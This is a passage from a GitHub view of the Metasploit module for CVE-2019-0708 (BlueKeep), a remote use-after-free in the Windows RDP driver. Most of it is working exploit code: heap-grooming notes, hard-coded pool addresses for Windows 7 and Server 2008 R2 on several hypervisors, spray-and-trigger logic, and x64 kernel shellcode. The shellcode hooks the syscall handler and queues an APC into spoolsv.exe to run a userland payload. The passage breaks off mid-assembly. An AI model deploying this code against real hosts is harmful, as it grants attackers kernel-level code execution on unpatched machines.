-
Notifications
You must be signed in to change notification settings - Fork 9
/
cve_2019_0708_bluekeep_rce.rb
1095 lines (941 loc) · 39.6 KB
/
cve_2019_0708_bluekeep_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Exploitation and Caveats from zerosum0x0:
#
# 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
# 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
# 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
# 4. RDP has chunked messages, so we use this to groom.
# a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
# b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
# i. RDPSND only works when
# HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
# ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE
# 5. Use chunked grooming to fit new data in the freed channel, account for
# the allocation header size (like 0x38 I think?). At offset 0x100? is where
# the "call [rax]" gadget will get its pointer from.
# a. The NonPagedPool (NPP) starts at a fixed address on XP-7
# i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and
# Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
# start. This can be anywhere from 100 mb to gigabytes of offset
# before the NPP start.
# b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
# c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
# [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
# indirect call
# d. We are limited to 0x400 payloads by channel chunk max size. My
# current shellcode is a twin shellcode with eggfinders. I spam the
# kernel payload and user payload, and if user payload is called first it
# will egghunt for the kernel payload.
# 6. After channel hole is filled and the NPP is spammed up with shellcode,
# trigger the free by closing the socket.
#
# TODO:
# * Detect OS specifics / obtain memory leak to determine NPP start address.
# * Write the XP/2003 portions grooming MS_T120.
# * Detect if RDPSND grooming is working or not?
# * Expand channels besides RDPSND/MS_T120 for grooming.
# See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
#
# https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
# MS_T120 on XP... should be same process as the RDPSND
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
USERMODE_EGG = 0xb00dac0fefe31337
KERNELMODE_EGG = 0xb00dac0fefe42069
CHUNK_SIZE = 0x400
HEADER_SIZE = 0x48
include Msf::Exploit::Remote::RDP
include Msf::Exploit::Remote::CheckScanner
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
'Description' => %q(
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
allowing a malformed Disconnect Provider Indication message to cause use-after-free.
With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
the freed channel is used to achieve arbitrary code execution.
),
'Author' =>
[
'Sean Dillon <[email protected]>', # @zerosum0x0 - Original exploit
'Ryan Hanson <[email protected]>', # @ryHanson - Original exploit
'OJ Reeves <[email protected]>', # @TheColonial - Metasploit module
'Brent Cook <[email protected]>', # @busterbcook - Assembly whisperer
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-0708'],
['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'RDP_CLIENT_NAME' => 'ethdev',
'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
},
'Privileged' => true,
'Payload' =>
{
'Space' => CHUNK_SIZE - HEADER_SIZE,
'EncoderType' => Msf::Encoder::Type::Raw,
},
'Platform' => 'win',
'Targets' =>
[
[
'Automatic targeting via fingerprinting',
{
'Arch' => [ARCH_X64],
'FingerprintOnly' => true
},
],
#
#
# Windows 2008 R2 requires the following registry change from default:
#
# [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
# "fDisableCam"=dword:00000000
#
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8003800000
}
],
[
# This works with Virtualbox 6
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8002407000
}
],
[
# This address works on VMWare 15 on Windows.
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8018C00000
#'GROOMBASE' => 0xfffffa801C000000
}
],
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8102407000
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 14 2019',
'Notes' =>
{
'AKA' => ['Bluekeep']
}
))
register_advanced_options(
[
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
]
)
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
if target['FingerprintOnly']
fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')
end
begin
rdp_connect
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
end
is_rdp, server_selected_proto = rdp_check_protocol
unless is_rdp
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
end
# We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
# from exploiting the target.
if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
end
chans = [
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
]
@mst120_chan_id = 1004 + chans.length - 1
unless rdp_negotiate_security(chans, server_selected_proto)
fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
end
rdp_establish_session
rdp_dispatch_loop
end
private
# This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
# received on a channel, and this is when we need to kick off our exploit.
def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
# We have to do the default behaviour first.
super(pkt, user, chan_id, flags, data)
groom_size = datastore['GROOMSIZE']
pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
groom_chan_count = datastore['GROOMCHANNELCOUNT']
payloads = create_payloads(pool_addr)
print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")
target_channel_id = chan_id + 1
spray_buffer = create_exploit_channel_buffer(pool_addr)
spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80
print_status("Surfing channels ...")
rdp_send(spray_channel * 1024)
rdp_send(free_trigger)
chan_surf_size = 0x421
spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
chan_surf_packet = spray_channel * spray_packets
chan_surf_count = chan_surf_size / spray_packets
chan_surf_count.times do
rdp_send(chan_surf_packet)
end
print_status("Lobbing eggs ...")
groom_mb = groom_size * 1024 / payloads.length
groom_mb.times do
tpkts = ''
for c in 0..groom_chan_count
payloads.each do |p|
tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
end
end
rdp_send(tpkts)
end
# Terminating and disconnecting forces the USE
print_status("Forcing the USE of FREE'd object ...")
rdp_terminate
rdp_disconnect
end
# Helper function to create the kernel mode payload and the usermode payload with
# the egg hunter prefix.
def create_payloads(pool_address)
begin
[kernel_mode_payload, user_mode_payload].map { |p|
[
pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
p
].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
}
rescue => ex
print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
end
end
def assemble_with_fixups(asm)
# Rewrite all instructions of form 'lea reg, [rel label]' as relative
# offsets for the instruction pointer, since metasm's 'ModRM' parser does
# not grok that syntax.
lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/
asm.gsub!(lea_rel) do |match|
match = "lea #{$1}, [rip + #{$2}]"
end
# metasm encodes all rep instructions as repnz
# https://github.com/jjyg/metasm/pull/40
asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')
encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded
# Fixup above rewritten instructions with the relative label offsets
encoded.reloc.each do |offset, reloc|
target = reloc.target.to_s
if encoded.export.key?(target)
# Note: this assumes the address we're fixing up is at the end of the
# instruction. This holds for 'lea' but if there are other fixups
# later, this might need to change to account for specific instruction
# encodings
if reloc.type == :i32
instr_offset = offset + 4
elsif reloc.type == :i16
instr_offset = offset + 2
end
encoded.fixup(target => encoded.export[target] - instr_offset)
else
raise "Unknown symbol '#{target}' while resolving relative offsets"
end
end
encoded.fill
encoded.data
end
# The user mode payload has two parts. The first is an egg hunter that searches for
# the kernel mode payload. The second part is the actual payload that's invoked in
# user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
# and user mode payloads around the heap in different packets because we don't have
# enough space to put them both in the same chunk. Given that code exec can result in
# landing on the user land payload, the egg is used to go to a kernel payload.
def user_mode_payload
# Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
#
# This shellcode was written originally for eternalblue exploits
# eternalblue_exploit7.py and eternalblue_exploit8.py
#
# Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
#
# Note:
# - The userland shellcode is run in a new thread of system process.
# If userland shellcode causes any exception, the system process get killed.
# - On idle target with multiple core processors, the hijacked system call
# might take a while (> 5 minutes) to get called because the system
# call may be called on other processors.
# - The shellcode does not allocate shadow stack if possible for minimal shellcode size.
# This is ok because some Windows functions do not require a shadow stack.
# - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
# Note: the Windows 8 version macros are removed below
# - The userland payload MUST be appened to this shellcode.
#
# References:
# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
asm = %Q^
_start:
lea rcx, [rel _start]
mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
_egg_loop:
sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
sub rax, 0x#{CHUNK_SIZE.to_s(16)}
mov rdx, [rcx - 8]
cmp rdx, r8
jnz _egg_loop
jmp rcx
^
egg_loop = assemble_with_fixups(asm)
# The USERMODE_EGG is required at the start as well, because the exploit code
# assumes the tag is there, and jumps over it to find the shellcode.
[
USERMODE_EGG,
egg_loop,
USERMODE_EGG,
payload.raw
].pack('<Qa*<Qa*')
end
def kernel_mode_payload
data_kapc_offset = 0x10
data_nt_kernel_addr_offset = 0x8
data_origin_syscall_offset = 0
data_peb_addr_offset = -0x10
data_queueing_kapc_offset = -0x8
hal_heap_storage = 0xffffffffffd04100
# These hashes are not the same as the ones used by the
# Block API so they have to be hard-coded.
createthread_hash = 0x835e515e
keinitializeapc_hash = 0x6d195cc4
keinsertqueueapc_hash = 0xafcc4634
psgetcurrentprocess_hash = 0xdbf47c78
psgetprocessid_hash = 0x170114e1
psgetprocessimagefilename_hash = 0x77645f3f
psgetprocesspeb_hash = 0xb818b848
psgetthreadteb_hash = 0xcef84c3e
spoolsv_exe_hash = 0x3ee083d8
zwallocatevirtualmemory_hash = 0x576e99ea
asm = %Q^
shellcode_start:
nop
nop
nop
nop
; IRQL is DISPATCH_LEVEL when got code execution
push rbp
call set_rbp_data_address_fn
; read current syscall
mov ecx, 0xc0000082
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea r9, [rel syscall_hook]
cmp eax, r9d
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
cmp dword [rbp+#{data_origin_syscall_offset}], eax
je _hook_syscall
; save original syscall
mov dword [rbp+#{data_origin_syscall_offset}+4], edx
mov dword [rbp+#{data_origin_syscall_offset}], eax
; first time on the target
mov byte [rbp+#{data_queueing_kapc_offset}], 0
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0xc0000082 affects only running processor
xchg r9, rax
push rax
pop rdx ; mov rdx, rax
shr rdx, 32
wrmsr
_setup_syscall_hook_done:
pop rbp
;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.
; TODO: make the lock not suck!!
mov rax, qword [gs:0x188]
add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++
lea r11, [rsp+0b8h]
xor eax, eax
mov rbx, [r11+30h]
mov rbp, [r11+40h]
mov rsi, [r11+48h]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
;--------------------- END HACK crappy thread cleanup
;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
; ------ HACK rbp wasnt valid!
mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??
; --------- HACK end rbp
_set_rbp_data_address_fn_next:
;shr rbp, 12
;shl rbp, 12
;sub rbp, 0x70 ; for KAPC struct too
ret
;int 3
;call $+5
;pop r13
syscall_hook:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push 0x2b
push qword [gs:0x10]
push rax ; want this stack space to store original syscall addr
; save rax first to make this function continue to real syscall
push rax
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
call set_rbp_data_address_fn
mov rax, [rbp+#{data_origin_syscall_offset}]
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [rsp+0x10], rax
; save all volatile registers
push rcx
push rdx
push r8
push r9
push r10
push r11
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0xc0000082
mov eax, [rbp+#{data_origin_syscall_offset}]
mov edx, [rbp+#{data_origin_syscall_offset}+4]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rbp
pop rax
ret
r3_to_r0_start:
; save used non-volatile registers
push r15
push r14
push rdi
push rsi
push rbx
push rax ; align stack by 0x10
;======================================
; find nt kernel address
;======================================
mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel
shr r15, 0xc ; strip to page size
shl r15, 0xc
_x64_find_nt_walk_page:
sub r15, 0x1000 ; walk along page size
cmp word [r15], 0x5a4d ; 'MZ' header
jne _x64_find_nt_walk_page
; save nt address for using in KernelApcRoutine
mov [rbp+#{data_nt_kernel_addr_offset}], r15
;======================================
; get current EPROCESS and ETHREAD
;======================================
mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR
mov edi, #{psgetcurrentprocess_hash}
call win_api_direct
xchg rcx, rax ; rcx = EPROCESS
; r15 : nt kernel address
; r14 : ETHREAD
; rcx : EPROCESS
;======================================
; find offset of EPROCESS.ImageFilename
;======================================
mov edi, #{psgetprocessimagefilename_hash}
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f)
mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename
;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
; if offset of ImageFilename is more than 0x400, current is (Win8+)
cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename
jb _find_eprocess_threadlist_offset_win7
add eax, 0x10
_find_eprocess_threadlist_offset_win7:
lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead
;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================
lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead
mov r9, r8
; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
_find_ethread_threadlist_offset_loop:
mov r9, qword [r9]
cmp r8, r9 ; check end of list
je _insert_queue_apc_done ; not found !!!
; if (r9 - r14 < 0x700) found
mov rax, r9
sub rax, r14
cmp rax, 0x700
ja _find_ethread_threadlist_offset_loop
sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry)
;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov edi, #{psgetprocessid_hash}
call get_proc_addr
mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; check process name
xor eax, eax ; HACK to exit earlier if process not found
_find_target_process_loop:
lea rsi, [rcx+rbx]
push rax
call calc_hash
cmp eax, #{spoolsv_exe_hash} ; "spoolsv.exe"
pop rax
jz found_target_process
;---------- HACK PROCESS NOT FOUND start -----------
inc rax
cmp rax, 0x300 ; HACK not found!
jne _next_find_target_process
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+#{data_queueing_kapc_offset}], cl
jmp _r3_to_r0_done
;---------- HACK PROCESS NOT FOUND end -----------
_next_find_target_process:
; next process
mov rcx, [rcx+rdi]
sub rcx, rdi
jmp _find_target_process_loop
found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
;======================================
; save process PEB for finding CreateThread address in kernel KAPC routine
;======================================
mov edi, #{psgetprocesspeb_hash}
; rcx is EPROCESS. no need to set it.
call win_api_direct
mov [rbp+#{data_peb_addr_offset}], rax
;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; r15 = nt
; r14 = -(offset of ETHREAD.ThreadListEntry)
; rcx = EPROCESS
; edx = offset of EPROCESS.ThreadListHead
lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
mov rbx, rsi ; use rbx for iterating thread
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov rbx, [rbx+8]
cmp rsi, rbx
je _insert_queue_apc_loop ; skip list head
; find start of ETHREAD address
; set it to rdx to be used for KeInitializeApc() argument too
lea rdx, [rbx + r14] ; ETHREAD
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov edi, #{psgetthreadteb_hash}
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f)
cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL
je _insert_queue_apc_loop
; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
lea rcx, [rbp+#{data_kapc_offset}] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
sub rsp, 0x20 ; shadow stack
mov edi, #{keinitializeapc_hash}
call win_api_direct
; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+#{data_kapc_offset}]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, #{keinsertqueueapc_hash}
call win_api_direct
add rsp, 0x40
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop
mov rax, [rbp+#{data_kapc_offset}+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [rax+0x1a], 1
je _insert_queue_apc_done
; manual remove list without lock
mov [rax], rax
mov [rax+8], rax
jmp _insert_queue_apc_loop
_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
pop rax
pop rbx
pop rsi
pop rdi
pop r14
pop r15
ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: r15 = module pointer
; edi = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp rax
;========================================================================
; Get function address in specific module
;
; Arguments: r15 = module pointer
; edi = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
; Save registers
push rbx
push rcx
push rsi ; for using calc_hash
; use rax to find EAT
mov eax, dword [r15+60] ; Get PE header e_lfanew
mov eax, dword [r15+rax+136] ; Get export tables RVA
add rax, r15
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov ebx, dword [rax+32] ; FunctionNames
add rbx, r15
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
add rsi, r15 ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
pop rax ; restore EAT
mov ebx, dword [rax+36]
add rbx, r15 ; ordinate table virtual address
mov cx, word [rbx+rcx*2] ; desired functions ordinal
mov ebx, dword [rax+28] ; Get the function addresses table rva
add rbx, r15 ; Add the modules base address
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
add rax, r15 ; Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rbx
ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: rsi = string to hash
; Clobber: rsi
; Return: eax = hash
;========================================================================
calc_hash:
push rdx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop rdx
ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
